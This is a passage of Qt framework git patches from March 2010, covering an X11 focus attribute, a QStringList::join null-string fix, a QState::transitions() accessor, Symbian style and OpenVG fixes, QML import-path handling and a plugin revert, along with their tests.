NSSound supports, including QuickTime formats, are supported by Qt for Mac OS X. \row \o Qt for Embedded Linux \o A built-in mixing sound server is used, accessing \c /dev/dsp directly. Only the WAVE format is supported. + \row \o Symbian \o CMdaAudioPlayerUtility is used. All formats that Symbian OS or devices support are supported also by Qt. -- cgit v0.12 From 9da453e5579ebb6fb0361e4df4cfa7107e560b23 Mon Sep 17 00:00:00 2001 From: Robert Griebl Date: Mon, 22 Mar 2010 15:35:03 +0100 Subject: Add a new WA_X11DoNotAcceptFocus attribute for top-level widgets. This should prevent window managers from ever sending a WM_TAKE_FOCUS message to those windows (useful for IM windows like virtual keyboards, notification banners, etc.) Reviewed-by: bhughes --- src/corelib/global/qnamespace.h | 3 +++ src/gui/kernel/qwidget.cpp | 4 ++++ src/gui/kernel/qwidget_p.h | 1 + src/gui/kernel/qwidget_x11.cpp | 22 +++++++++++++++++++++- 4 files changed, 29 insertions(+), 1 deletion(-) diff --git a/src/corelib/global/qnamespace.h b/src/corelib/global/qnamespace.h index 89a0c0b..71e4628 100644 --- a/src/corelib/global/qnamespace.h +++ b/src/corelib/global/qnamespace.h @@ -510,6 +510,9 @@ public: WA_Maemo5AutoOrientation = 130, WA_Maemo5ShowProgressIndicator = 131, #endif + + WA_X11DoNotAcceptFocus = 132, + // Add new attributes before this line WA_AttributeCount }; diff --git a/src/gui/kernel/qwidget.cpp b/src/gui/kernel/qwidget.cpp index af5fcd1..e88026c 100644 --- a/src/gui/kernel/qwidget.cpp +++ b/src/gui/kernel/qwidget.cpp @@ -10550,6 +10550,10 @@ void QWidget::setAttribute(Qt::WidgetAttribute attribute, bool on) case Qt::WA_X11OpenGLOverlay: d->updateIsOpaque(); break; + case Qt::WA_X11DoNotAcceptFocus: + if (testAttribute(Qt::WA_WState_Created)) + d->updateX11AcceptFocus(); + break; #endif case Qt::WA_DontShowOnScreen: { if (on && isVisible()) { diff --git a/src/gui/kernel/qwidget_p.h b/src/gui/kernel/qwidget_p.h index 2cb8586..c32e1a1 100644 --- a/src/gui/kernel/qwidget_p.h +++ b/src/gui/kernel/qwidget_p.h @@ -703,6 +703,7 @@ public: void setNetWmWindowTypes(); void x11UpdateIsOpaque(); bool isBackgroundInherited() const; + void updateX11AcceptFocus(); #elif defined(Q_WS_WIN) // <--------------------------------------------------------- WIN uint noPaintOnScreen : 1; // see qwidget_win.cpp ::paintEngine() uint nativeGesturePanEnabled : 1; diff --git a/src/gui/kernel/qwidget_x11.cpp b/src/gui/kernel/qwidget_x11.cpp index 54dd300..c1363d2 100644 --- a/src/gui/kernel/qwidget_x11.cpp +++ b/src/gui/kernel/qwidget_x11.cpp @@ -780,7 +780,7 @@ void QWidgetPrivate::create_sys(WId window, bool initializeWindow, bool destroyO XWMHints wm_hints; // window manager hints memset(&wm_hints, 0, sizeof(wm_hints)); // make valgrind happy wm_hints.flags = InputHint | StateHint | WindowGroupHint; - wm_hints.input = True; + wm_hints.input = q->testAttribute(Qt::WA_X11DoNotAcceptFocus) ? False : True; wm_hints.initial_state = NormalState; wm_hints.window_group = X11->wm_client_leader; @@ -3050,4 +3050,24 @@ void qt_x11_getX11InfoForWindow(QX11Info * xinfo, const QX11WindowAttributes &at xinfo->setX11Data(xd); } +void QWidgetPrivate::updateX11AcceptFocus() +{ + Q_Q(QWidget); + if (!q->isWindow() || !q->internalWinId()) + return; + + XWMHints *h = XGetWMHints(X11->display, q->internalWinId()); + XWMHints wm_hints; + if (!h) { + memset(&wm_hints, 0, sizeof(wm_hints)); // make valgrind happy + h = &wm_hints; + } + h->flags |= InputHint; + h->input = q->testAttribute(Qt::WA_X11DoNotAcceptFocus) ? False : True; + + XSetWMHints(X11->display, q->internalWinId(), h); + if (h != &wm_hints) + XFree((char *)h); +} + QT_END_NAMESPACE -- cgit v0.12 From 77b913e5f8fa93c62a245685d55d76eec2e9021a Mon Sep 17 00:00:00 2001 From: Kenji Sugita Date: Mon, 22 Mar 2010 15:38:10 +0100 Subject: Fix behavior change QStringList::join() for null Before 4.6.2 both str.isNull() and str.isEmpty() return true for the following code. QStringList list; QString str = list.join(QString()); This commit revert the behavior change introduced by 7461ed5227e3002c4a6f74d458aa0255b7c1217d. Joining null QString was giving a empty string instead of a null string. Reviewed-by: Benjamin Poulain --- src/corelib/tools/qstringlist.cpp | 2 ++ tests/auto/qstringlist/tst_qstringlist.cpp | 10 ++++++++++ 2 files changed, 12 insertions(+) diff --git a/src/corelib/tools/qstringlist.cpp b/src/corelib/tools/qstringlist.cpp index e9bdf57..32a0b1e 100644 --- a/src/corelib/tools/qstringlist.cpp +++ b/src/corelib/tools/qstringlist.cpp @@ -414,6 +414,8 @@ QString QtPrivate::QStringList_join(const QStringList *that, const QString &sep) totalLength += sep.size() * (size - 1); QString res; + if (totalLength == 0) + return res; res.reserve(totalLength); for (int i = 0; i < that->size(); ++i) { if (i) diff --git a/tests/auto/qstringlist/tst_qstringlist.cpp b/tests/auto/qstringlist/tst_qstringlist.cpp index 8429303..fb28bf4 100644 --- a/tests/auto/qstringlist/tst_qstringlist.cpp +++ b/tests/auto/qstringlist/tst_qstringlist.cpp @@ -77,6 +77,7 @@ private slots: void streamingOperator(); void join() const; void join_data() const; + void join_emptiness() const; }; extern const char email[]; @@ -311,5 +312,14 @@ void tst_QStringList::join_data() const << QString("a b c"); } +void tst_QStringList::join_emptiness() const +{ + QStringList list; + QString string = list.join(QString()); + + QCOMPARE(string.isEmpty(), true); + QCOMPARE(string.isNull(), true); +} + QTEST_APPLESS_MAIN(tst_QStringList) #include "tst_qstringlist.moc" -- cgit v0.12 From 0a03e65d9e1722cb055ccce93801e1471e7f6e84 Mon Sep 17 00:00:00 2001 From: Benjamin Poulain Date: Mon, 22 Mar 2010 15:50:23 +0100 Subject: Code cleaning for the QStringList's joinEmptiness() test case --- tests/auto/qstringlist/tst_qstringlist.cpp | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/tests/auto/qstringlist/tst_qstringlist.cpp b/tests/auto/qstringlist/tst_qstringlist.cpp index fb28bf4..210903c 100644 --- a/tests/auto/qstringlist/tst_qstringlist.cpp +++ b/tests/auto/qstringlist/tst_qstringlist.cpp @@ -77,7 +77,7 @@ private slots: void streamingOperator(); void join() const; void join_data() const; - void join_emptiness() const; + void joinEmptiness() const; }; extern const char email[]; @@ -312,13 +312,13 @@ void tst_QStringList::join_data() const << QString("a b c"); } -void tst_QStringList::join_emptiness() const +void tst_QStringList::joinEmptiness() const { QStringList list; QString string = list.join(QString()); - QCOMPARE(string.isEmpty(), true); - QCOMPARE(string.isNull(), true); + QVERIFY(string.isEmpty()); + QVERIFY(string.isNull()); } QTEST_APPLESS_MAIN(tst_QStringList) -- cgit v0.12 From 9cfda3493ce4086313072a216d6a5b4f796c40d3 Mon Sep 17 00:00:00 2001 From: Robert Griebl Date: Mon, 22 Mar 2010 16:00:23 +0100 Subject: Add a new WA_X11DoNotAcceptFocus attribute for top-level widgets (part 2). Forgot the documentation and ignoring WM_TAKE_FOCUS messages for modal windows in part 1 (9da453e5579ebb6fb0361e4df4cfa7107e560b23) Reviewed-by: bhughes --- src/corelib/global/qnamespace.qdoc | 4 ++++ src/gui/kernel/qapplication_x11.cpp | 2 ++ 2 files changed, 6 insertions(+) diff --git a/src/corelib/global/qnamespace.qdoc b/src/corelib/global/qnamespace.qdoc index f8f3c49..775c0f3 100644 --- a/src/corelib/global/qnamespace.qdoc +++ b/src/corelib/global/qnamespace.qdoc @@ -1255,6 +1255,10 @@ window boundary (widget without parent or dialog) is found. This attribute currently has effect only on Symbian platforms + \value WA_X11DoNoAcceptFocus Asks the window manager to not give focus + to this top level window. This attribute has no effect on non-X11 + platforms. + \omitvalue WA_SetLayoutDirection \omitvalue WA_InputMethodTransparent \omitvalue WA_WState_CompressKeys diff --git a/src/gui/kernel/qapplication_x11.cpp b/src/gui/kernel/qapplication_x11.cpp index e276ed2..67e0865 100644 --- a/src/gui/kernel/qapplication_x11.cpp +++ b/src/gui/kernel/qapplication_x11.cpp @@ -3060,6 +3060,8 @@ int QApplication::x11ClientMessage(QWidget* w, XEvent* event, bool passive_only) if ((ulong) event->xclient.data.l[1] > X11->time) X11->time = event->xclient.data.l[1]; QWidget *amw = activeModalWidget(); + if (amw && amw->testAttribute(Qt::WA_X11DoNotAcceptFocus)) + amw = 0; if (amw && !QApplicationPrivate::tryModalHelper(widget, 0)) { QWidget *p = amw->parentWidget(); while (p && p != widget) -- cgit v0.12 From 1ad46d8cc9fa30ef26c3eb109c5d75937ec78aac Mon Sep 17 00:00:00 2001 From: Kent Hansen Date: Mon, 22 Mar 2010 15:17:26 +0100 Subject: Add a function to get the transitions available from a state For introspection purposes. It's nicer than having to qobject_cast the state's children(). Task-number: QTBUG-7741 Reviewed-by: Eskil Abrahamsen Blomfeldt --- src/corelib/statemachine/qstate.cpp | 18 +++++++++++++++++- src/corelib/statemachine/qstate.h | 3 +++ tests/auto/qstate/tst_qstate.cpp | 33 +++++++++++++++++++++++++++++++++ 3 files changed, 53 insertions(+), 1 deletion(-) diff --git a/src/corelib/statemachine/qstate.cpp b/src/corelib/statemachine/qstate.cpp index b6b3281..69cca06 100644 --- a/src/corelib/statemachine/qstate.cpp +++ b/src/corelib/statemachine/qstate.cpp @@ -66,7 +66,8 @@ QT_BEGIN_NAMESPACE states. QState is part of \l{The State Machine Framework}. The addTransition() function adds a transition. The removeTransition() - function removes a transition. + function removes a transition. The transitions() function returns the + state's outgoing transitions. The assignProperty() function is used for defining property assignments that should be performed when a state is entered. @@ -408,6 +409,21 @@ void QState::removeTransition(QAbstractTransition *transition) } /*! + \since 4.7 + + Returns this state's outgoing transitions (i.e. transitions where + this state is the \l{QAbstractTransition::sourceState()}{source + state}), or an empty list if this state has no outgoing transitions. + + \sa addTransition() +*/ +QList QState::transitions() const +{ + Q_D(const QState); + return d->transitions(); +} + +/*! \reimp */ void QState::onEntry(QEvent *event) diff --git a/src/corelib/statemachine/qstate.h b/src/corelib/statemachine/qstate.h index 782a2a6..620104f 100644 --- a/src/corelib/statemachine/qstate.h +++ b/src/corelib/statemachine/qstate.h @@ -44,6 +44,8 @@ #include +#include + QT_BEGIN_HEADER QT_BEGIN_NAMESPACE @@ -80,6 +82,7 @@ public: QSignalTransition *addTransition(QObject *sender, const char *signal, QAbstractState *target); QAbstractTransition *addTransition(QAbstractState *target); void removeTransition(QAbstractTransition *transition); + QList transitions() const; QAbstractState *initialState() const; void setInitialState(QAbstractState *state); diff --git a/tests/auto/qstate/tst_qstate.cpp b/tests/auto/qstate/tst_qstate.cpp index b05aaa0..0d39c72 100644 --- a/tests/auto/qstate/tst_qstate.cpp +++ b/tests/auto/qstate/tst_qstate.cpp @@ -77,6 +77,7 @@ private slots: void assignProperty(); void assignPropertyTwice(); void historyInitialState(); + void transitions(); private: bool functionCalled; @@ -370,6 +371,38 @@ void tst_QState::historyInitialState() QVERIFY(machine.configuration().contains(s4)); } +void tst_QState::transitions() +{ + QState s1; + QState s2; + + QVERIFY(s1.transitions().isEmpty()); + + QAbstractTransition *t1 = s1.addTransition(this, SIGNAL(destroyed()), &s2); + QVERIFY(t1 != 0); + QCOMPARE(s1.transitions().count(), 1); + QCOMPARE(s1.transitions().first(), t1); + QVERIFY(s2.transitions().isEmpty()); + + s1.removeTransition(t1); + QVERIFY(s1.transitions().isEmpty()); + + s1.addTransition(t1); + QCOMPARE(s1.transitions().count(), 1); + QCOMPARE(s1.transitions().first(), t1); + + QAbstractTransition *t2 = new QEventTransition(&s1); + QCOMPARE(s1.transitions().count(), 2); + QVERIFY(s1.transitions().contains(t1)); + QVERIFY(s1.transitions().contains(t2)); + + // Transitions from child states should not be reported. + QState *s21 = new QState(&s2); + QAbstractTransition *t3 = s21->addTransition(this, SIGNAL(destroyed()), &s2); + QVERIFY(s2.transitions().isEmpty()); + QCOMPARE(s21->transitions().count(), 1); + QCOMPARE(s21->transitions().first(), t3); +} QTEST_MAIN(tst_QState) #include "tst_qstate.moc" -- cgit v0.12 From fec5410f350e4d67b7991f15da94775f97bce0bb Mon Sep 17 00:00:00 2001 From: Jason Barron Date: Mon, 22 Mar 2010 16:41:42 +0100 Subject: Fix #ifdef logic for Symbian conversion functions in QVGPixmapData. The previous #ifdef logic had the entire body of fromNativeType() and toNativeType() #ifdef'ed out meaning that the OpenVG graphics system could not convert CFbsBitmap instances to VGImage instances. This was obviously incorrect because this code has no dependancy on RSgImage (or EGL) and should therefore be outside of the #ifdef. Reviewed-by: TrustMe --- src/openvg/qpixmapdata_vg.cpp | 13 ++++--------- 1 file changed, 4 insertions(+), 9 deletions(-) diff --git a/src/openvg/qpixmapdata_vg.cpp b/src/openvg/qpixmapdata_vg.cpp index cb5255d..d602790 100644 --- a/src/openvg/qpixmapdata_vg.cpp +++ b/src/openvg/qpixmapdata_vg.cpp @@ -464,8 +464,8 @@ void QVGPixmapData::cleanup() void QVGPixmapData::fromNativeType(void* pixmap, NativeType type) { -#if defined(QT_SYMBIAN_SUPPORTS_SGIMAGE) && !defined(QT_NO_EGL) if (type == QPixmapData::SgImage && pixmap) { +#if defined(QT_SYMBIAN_SUPPORTS_SGIMAGE) && !defined(QT_NO_EGL) RSgImage *sgImage = reinterpret_cast(pixmap); destroyImages(); @@ -536,6 +536,7 @@ void QVGPixmapData::fromNativeType(void* pixmap, NativeType type) // release stuff eglDestroyImageKHR(QEglContext::display(), eglImage); driver.Close(); +#endif } else if (type == QPixmapData::FbsBitmap) { CFbsBitmap *bitmap = reinterpret_cast(pixmap); @@ -581,16 +582,12 @@ void QVGPixmapData::fromNativeType(void* pixmap, NativeType type) if(deleteSourceBitmap) delete bitmap; } -#else - Q_UNUSED(pixmap); - Q_UNUSED(type); -#endif } void* QVGPixmapData::toNativeType(NativeType type) { -#if defined(QT_SYMBIAN_SUPPORTS_SGIMAGE) && !defined(QT_NO_EGL) if (type == QPixmapData::SgImage) { +#if defined(QT_SYMBIAN_SUPPORTS_SGIMAGE) && !defined(QT_NO_EGL) toVGImage(); if (!isValid() || vgImage == VG_INVALID_HANDLE) @@ -657,6 +654,7 @@ void* QVGPixmapData::toNativeType(NativeType type) eglDestroyImageKHR(QEglContext::display(), eglImage); driver.Close(); return reinterpret_cast(sgImage); +#endif } else if (type == QPixmapData::FbsBitmap) { CFbsBitmap *bitmap = q_check_ptr(new CFbsBitmap); @@ -678,10 +676,7 @@ void* QVGPixmapData::toNativeType(NativeType type) return reinterpret_cast(bitmap); } -#else - Q_UNUSED(type); return 0; -#endif } #endif //Q_OS_SYMBIAN -- cgit v0.12 From 1eff66c4bd4133f210ac7904c6da08108d002709 Mon Sep 17 00:00:00 2001 From: Kai Koehne Date: Mon, 22 Mar 2010 15:52:23 +0100 Subject: Remove exporting of QDeclarativeContext class symbols We're not using it in QmlDesigner any more --- src/declarative/qml/qdeclarativecontext_p.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/declarative/qml/qdeclarativecontext_p.h b/src/declarative/qml/qdeclarativecontext_p.h index ecf3ec8..f07045e 100644 --- a/src/declarative/qml/qdeclarativecontext_p.h +++ b/src/declarative/qml/qdeclarativecontext_p.h @@ -81,7 +81,7 @@ class QDeclarativeBinding_Id; class QDeclarativeCompiledBindings; class QDeclarativeContextData; -class Q_DECLARATIVE_EXPORT QDeclarativeContextPrivate : public QObjectPrivate +class QDeclarativeContextPrivate : public QObjectPrivate { Q_DECLARE_PUBLIC(QDeclarativeContext) public: -- cgit v0.12 From d6b7df53f78c542f0a86d10f22f3459190fc58f7 Mon Sep 17 00:00:00 2001 From: Kai Koehne Date: Mon, 22 Mar 2010 15:52:50 +0100 Subject: Use canonical form for headers Allows QmlDesigner to use qdeclarativestate_p_p.h Reviewed-by: Marco Bubke --- src/declarative/util/qdeclarativestate_p_p.h | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/src/declarative/util/qdeclarativestate_p_p.h b/src/declarative/util/qdeclarativestate_p_p.h index 6f52219..558c99b 100644 --- a/src/declarative/util/qdeclarativestate_p_p.h +++ b/src/declarative/util/qdeclarativestate_p_p.h @@ -58,8 +58,8 @@ #include "qdeclarativeanimation_p_p.h" #include "qdeclarativetransitionmanager_p_p.h" -#include -#include +#include +#include #include -- cgit v0.12 From 397a2680b4e7ce90a8e4f8a4617450adb5d5a37d Mon Sep 17 00:00:00 2001 From: Andreas Kling Date: Mon, 22 Mar 2010 17:31:36 +0100 Subject: Make QStackTextEngine cheaper to construct Default-constructing the QFont member of QTextEngine meant getting the QApplication::font() which is a waste of time. Reviewed-by: Benjamin Poulain --- src/gui/text/qtextengine.cpp | 9 ++++----- 1 file changed, 4 insertions(+), 5 deletions(-) diff --git a/src/gui/text/qtextengine.cpp b/src/gui/text/qtextengine.cpp index b826588..f2d0654 100644 --- a/src/gui/text/qtextengine.cpp +++ b/src/gui/text/qtextengine.cpp @@ -1299,10 +1299,10 @@ QTextEngine::QTextEngine() } QTextEngine::QTextEngine(const QString &str, const QFont &f) - : fnt(f) + : text(str), + fnt(f) { init(this); - text = str; } QTextEngine::~QTextEngine() @@ -2610,10 +2610,9 @@ void QTextEngine::resolveAdditionalFormats() const } QStackTextEngine::QStackTextEngine(const QString &string, const QFont &f) - : _layoutData(string, _memory, MemSize) + : QTextEngine(string, f), + _layoutData(string, _memory, MemSize) { - fnt = f; - text = string; stackEngine = true; layoutData = &_layoutData; } -- cgit v0.12 From a260a77d9d6b7856278e2ee9b42623c469479d4e Mon Sep 17 00:00:00 2001 From: Alessandro Portale Date: Mon, 22 Mar 2010 21:14:39 +0100 Subject: Fixing keypad navigation focus frame The QFocusFrame drawing code in QS60Style incorrectly assumed that PM_LayoutSpacing is always equal to PM_FocusFrameMargin. When these values diverged, the focus frame broke as described in task QTBUG-8036. The fix makes the drawing more robust. The focus frame width is never thicker than PM_LayoutSpacing and PM_FocusFrameMargin. And instead of drawing a roundRect with calculated pen width, we are now filling a roundRect. That makes the focusFrame more apparent. Task-number: QTBUG-8036 Reviewed-by: Sami Merila --- src/gui/styles/qs60style.cpp | 37 +++++++++++++++++-------------------- 1 file changed, 17 insertions(+), 20 deletions(-) diff --git a/src/gui/styles/qs60style.cpp b/src/gui/styles/qs60style.cpp index 750e19f..86812a6 100644 --- a/src/gui/styles/qs60style.cpp +++ b/src/gui/styles/qs60style.cpp @@ -1964,11 +1964,6 @@ void QS60Style::drawControl(ControlElement element, const QStyleOption *option, case CE_MenuScroller: break; case CE_FocusFrame: { - // The pen width should nearly fill the layoutspacings around the widget - const int penWidth = - qMin(pixelMetric(QS60Style::PM_LayoutVerticalSpacing), pixelMetric(QS60Style::PM_LayoutHorizontalSpacing)) - - 2; // But keep 1 pixel distance to the focus widget and 1 pixel to the adjacent widgets - #ifdef QT_KEYPAD_NAVIGATION bool editFocus = false; if (const QFocusFrame *focusFrame = qobject_cast(widget)) { @@ -1979,25 +1974,27 @@ void QS60Style::drawControl(ControlElement element, const QStyleOption *option, #else const qreal opacity = 0.5; #endif - // Because of Qts coordinate system, we need to tweak the rect by .5 pixels, otherwise it gets blurred. - const qreal rectAdjustment = (penWidth % 2) ? -.5 : 0; - - // Make sure that the pen stroke is inside the rect - const QRectF adjustedRect = - QRectF(option->rect).adjusted( - rectAdjustment + penWidth, - rectAdjustment + penWidth, - -rectAdjustment - penWidth, - -rectAdjustment - penWidth - ); - - const qreal roundRectRadius = penWidth * goldenRatio; + // We need to reduce the focus frame size if LayoutSpacing is smaller than FocusFrameMargin + // Otherwise, we would overlay adjacent widgets. + const int frameHeightReduction = + qMin(0, pixelMetric(QStyle::PM_LayoutVerticalSpacing) + - pixelMetric(QStyle::PM_FocusFrameVMargin)); + const int frameWidthReduction = + qMin(0, pixelMetric(QStyle::PM_LayoutHorizontalSpacing) + - pixelMetric(QStyle::PM_FocusFrameHMargin)); + const int rounding = + qMin(pixelMetric(QStyle::PM_FocusFrameVMargin), + pixelMetric(QStyle::PM_LayoutVerticalSpacing)); + const QRect frameRect = + option->rect.adjusted(-frameWidthReduction, -frameHeightReduction, + frameWidthReduction, frameHeightReduction); + QPainterPath framePath; + framePath.addRoundedRect(frameRect, rounding, rounding); painter->save(); painter->setRenderHint(QPainter::Antialiasing); painter->setOpacity(opacity); - painter->setPen(QPen(option->palette.color(QPalette::Text), penWidth)); - painter->drawRoundedRect(adjustedRect, roundRectRadius, roundRectRadius); + painter->fillPath(framePath, option->palette.color(QPalette::Text)); painter->restore(); } break; -- cgit v0.12 From 9b363e44f372fee183290e010ceecf9e75282ce2 Mon Sep 17 00:00:00 2001 From: Alessandro Portale Date: Mon, 22 Mar 2010 21:36:54 +0100 Subject: Increase KeypadNavigation focus visibility The focus frame was drawn with a low opacity. That was intended meant to increase aesthetics but in reality decreased usability. Now, the opacity is higher. But still with a difference between navigation mode and edit mode. Task-number: QT-826 Reviewed-by: Sami Merila --- src/gui/styles/qs60style.cpp | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/src/gui/styles/qs60style.cpp b/src/gui/styles/qs60style.cpp index 86812a6..6448417 100644 --- a/src/gui/styles/qs60style.cpp +++ b/src/gui/styles/qs60style.cpp @@ -1970,9 +1970,9 @@ void QS60Style::drawControl(ControlElement element, const QStyleOption *option, if (focusFrame->widget() && focusFrame->widget()->hasEditFocus()) editFocus = true; } - const qreal opacity = editFocus ? 0.65 : 0.45; // Trial and error factors. Feel free to improve. + const qreal opacity = editFocus ? 1 : 0.75; // Trial and error factors. Feel free to improve. #else - const qreal opacity = 0.5; + const qreal opacity = 0.85; #endif // We need to reduce the focus frame size if LayoutSpacing is smaller than FocusFrameMargin // Otherwise, we would overlay adjacent widgets. -- cgit v0.12 From 83e395ba6de068ac4ecece860cc429a4697445d0 Mon Sep 17 00:00:00 2001 From: Martin Jones Date: Tue, 23 Mar 2010 08:57:57 +1000 Subject: Add Script removal to QmlChanges.txt --- src/declarative/QmlChanges.txt | 38 ++++++++++++++++++++++++++++++++++++++ 1 file changed, 38 insertions(+) diff --git a/src/declarative/QmlChanges.txt b/src/declarative/QmlChanges.txt index 7c584b4d..5da0f13 100644 --- a/src/declarative/QmlChanges.txt +++ b/src/declarative/QmlChanges.txt @@ -25,6 +25,44 @@ syntax has been introduced: Item { Behavior on x {}; NumberAnimation on y {} } Only the syntax has changed, the behavior is identical. +Script element removed +---------------------- +Inline Script{} blocks have been deprecated, and will soon be removed entirely. +If you used Script to write inline javascript code, it can simply be removed. +For example + +Item { + Script { + function doSomething() {} + } +} + +becomes + +Item { + function doSomething() {} +} + +If you used Script to include external JavaScript files, you can replace the +Script element with an “import” line. For example + +MouseArea { + Script { + source: “foo.js” + } + onClicked: foo() +} + +becomes + +Import “foo.js” as Foo +MouseArea { + onClicked: Foo.foo() +} + +The “as” qualifier is mandatory for script imports (as opposed to type +imports where it is optional). + ============================================================================= The changes below are pre Qt 4.7.0 alpha -- cgit v0.12 From 2b098cd37d86bc7c843225412c90948affb8fef1 Mon Sep 17 00:00:00 2001 From: Warwick Allison Date: Fri, 19 Mar 2010 09:17:17 +1000 Subject: Test imports with realistic paths (previously passed accidentally). Fix failure when import path is ancestor dir of other import path. --- src/declarative/qml/qdeclarativeengine.cpp | 13 ++++++++++--- .../com/nokia/AutoTestQmlPluginType/qmldir | 1 - .../declarative/qdeclarativemoduleplugin/data/works.qml | 3 +++ .../imports/com/nokia/AutoTestQmlPluginType/qmldir | 1 + tests/auto/declarative/qdeclarativemoduleplugin/plugin.qml | 3 --- .../declarative/qdeclarativemoduleplugin/plugin/plugin.pro | 2 +- .../tst_qdeclarativemoduleplugin.cpp | 7 ++++--- 7 files changed, 19 insertions(+), 11 deletions(-) delete mode 100644 tests/auto/declarative/qdeclarativemoduleplugin/com/nokia/AutoTestQmlPluginType/qmldir create mode 100644 tests/auto/declarative/qdeclarativemoduleplugin/data/works.qml create mode 100644 tests/auto/declarative/qdeclarativemoduleplugin/imports/com/nokia/AutoTestQmlPluginType/qmldir delete mode 100644 tests/auto/declarative/qdeclarativemoduleplugin/plugin.qml diff --git a/src/declarative/qml/qdeclarativeengine.cpp b/src/declarative/qml/qdeclarativeengine.cpp index 0bedbeb..c49c464 100644 --- a/src/declarative/qml/qdeclarativeengine.cpp +++ b/src/declarative/qml/qdeclarativeengine.cpp @@ -1418,6 +1418,11 @@ struct QDeclarativeEnginePrivate::ImportedNamespace { } }; +static bool greaterThan(const QString &s1, const QString &s2) +{ + return s1 > s2; +} + class QDeclarativeImportsPrivate { public: QDeclarativeImportsPrivate() : ref(1) @@ -1495,6 +1500,8 @@ public: // add fileImportPath last, this is *not* search order. paths += QDeclarativeEnginePrivate::get(engine)->fileImportPath; + qSort(paths.begin(), paths.end(), greaterThan); // Ensure subdirs preceed their parents. + QString stableRelativePath = dir; foreach( QString path, paths) { if (dir.startsWith(path)) { @@ -1545,11 +1552,11 @@ public: paths += applicationDirPath; paths += QDeclarativeEnginePrivate::get(engine)->environmentImportPath; - #if (QT_VERSION >= QT_VERSION_CHECK(4,7,0)) +#if (QT_VERSION >= QT_VERSION_CHECK(4,7,0)) QString builtinPath = QLibraryInfo::location(QLibraryInfo::ImportsPath); - #else +#else QString builtinPath; - #endif +#endif if (!builtinPath.isEmpty()) paths += builtinPath; diff --git a/tests/auto/declarative/qdeclarativemoduleplugin/com/nokia/AutoTestQmlPluginType/qmldir b/tests/auto/declarative/qdeclarativemoduleplugin/com/nokia/AutoTestQmlPluginType/qmldir deleted file mode 100644 index 0a8b5d4..0000000 --- a/tests/auto/declarative/qdeclarativemoduleplugin/com/nokia/AutoTestQmlPluginType/qmldir +++ /dev/null @@ -1 +0,0 @@ -plugin plugin diff --git a/tests/auto/declarative/qdeclarativemoduleplugin/data/works.qml b/tests/auto/declarative/qdeclarativemoduleplugin/data/works.qml new file mode 100644 index 0000000..f29ae24 --- /dev/null +++ b/tests/auto/declarative/qdeclarativemoduleplugin/data/works.qml @@ -0,0 +1,3 @@ +import com.nokia.AutoTestQmlPluginType 1.0 + +MyPluginType { value: 123 } diff --git a/tests/auto/declarative/qdeclarativemoduleplugin/imports/com/nokia/AutoTestQmlPluginType/qmldir b/tests/auto/declarative/qdeclarativemoduleplugin/imports/com/nokia/AutoTestQmlPluginType/qmldir new file mode 100644 index 0000000..0a8b5d4 --- /dev/null +++ b/tests/auto/declarative/qdeclarativemoduleplugin/imports/com/nokia/AutoTestQmlPluginType/qmldir @@ -0,0 +1 @@ +plugin plugin diff --git a/tests/auto/declarative/qdeclarativemoduleplugin/plugin.qml b/tests/auto/declarative/qdeclarativemoduleplugin/plugin.qml deleted file mode 100644 index f29ae24..0000000 --- a/tests/auto/declarative/qdeclarativemoduleplugin/plugin.qml +++ /dev/null @@ -1,3 +0,0 @@ -import com.nokia.AutoTestQmlPluginType 1.0 - -MyPluginType { value: 123 } diff --git a/tests/auto/declarative/qdeclarativemoduleplugin/plugin/plugin.pro b/tests/auto/declarative/qdeclarativemoduleplugin/plugin/plugin.pro index 035cb7d..fc77225 100644 --- a/tests/auto/declarative/qdeclarativemoduleplugin/plugin/plugin.pro +++ b/tests/auto/declarative/qdeclarativemoduleplugin/plugin/plugin.pro @@ -2,5 +2,5 @@ TEMPLATE = lib CONFIG += plugin SOURCES = plugin.cpp QT = core declarative -DESTDIR = ../com/nokia/AutoTestQmlPluginType +DESTDIR = ../imports/com/nokia/AutoTestQmlPluginType diff --git a/tests/auto/declarative/qdeclarativemoduleplugin/tst_qdeclarativemoduleplugin.cpp b/tests/auto/declarative/qdeclarativemoduleplugin/tst_qdeclarativemoduleplugin.cpp index 1335c7c..26199d3 100644 --- a/tests/auto/declarative/qdeclarativemoduleplugin/tst_qdeclarativemoduleplugin.cpp +++ b/tests/auto/declarative/qdeclarativemoduleplugin/tst_qdeclarativemoduleplugin.cpp @@ -48,8 +48,8 @@ class tst_qdeclarativemoduleplugin : public QObject { Q_OBJECT public: - tst_qdeclarativemoduleplugin() { - QCoreApplication::addLibraryPath(QLatin1String(SRCDIR) + QDir::separator() + QLatin1String("plugin")); + tst_qdeclarativemoduleplugin() + { } private slots: @@ -103,9 +103,10 @@ void tst_qdeclarativemoduleplugin::importsPlugin() { QSKIP("Fix me", SkipAll); QDeclarativeEngine engine; + engine.addImportPath(QLatin1String(SRCDIR) + QDir::separator() + QLatin1String("imports")); QTest::ignoreMessage(QtWarningMsg, "plugin created"); QTest::ignoreMessage(QtWarningMsg, "import worked"); - QDeclarativeComponent component(&engine, TEST_FILE("plugin.qml")); + QDeclarativeComponent component(&engine, TEST_FILE("data/works.qml")); foreach (QDeclarativeError err, component.errors()) qWarning() << err; VERIFY_ERRORS(0); -- cgit v0.12 From 1fdd15b650f291ee63a8ebeb90e8965f95bdea90 Mon Sep 17 00:00:00 2001 From: Rohan McGovern Date: Tue, 23 Mar 2010 09:09:18 +1000 Subject: Revert "Avoid a data relocation by not trying to store a pointer in the .data section of plugins." This commit is causing almost any autotest which loads a plugin to crash, if Qt is configured with -qtnamespace and -qtlibinfix. This reverts commit 69e873e2bfae3fc028c21d93112a75008c3bb58b. --- src/corelib/plugin/qplugin.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/corelib/plugin/qplugin.h b/src/corelib/plugin/qplugin.h index 7f541f1..b798437 100644 --- a/src/corelib/plugin/qplugin.h +++ b/src/corelib/plugin/qplugin.h @@ -110,7 +110,7 @@ void Q_CORE_EXPORT qRegisterStaticPluginInstanceFunction(QtPluginInstanceFunctio # define QPLUGIN_DEBUG_STR "true" # endif # define Q_PLUGIN_VERIFICATION_DATA \ - static const char qt_plugin_verification_data[] = \ + static const char *qt_plugin_verification_data = \ "pattern=""QT_PLUGIN_VERIFICATION_DATA""\n" \ "version="QT_VERSION_STR"\n" \ 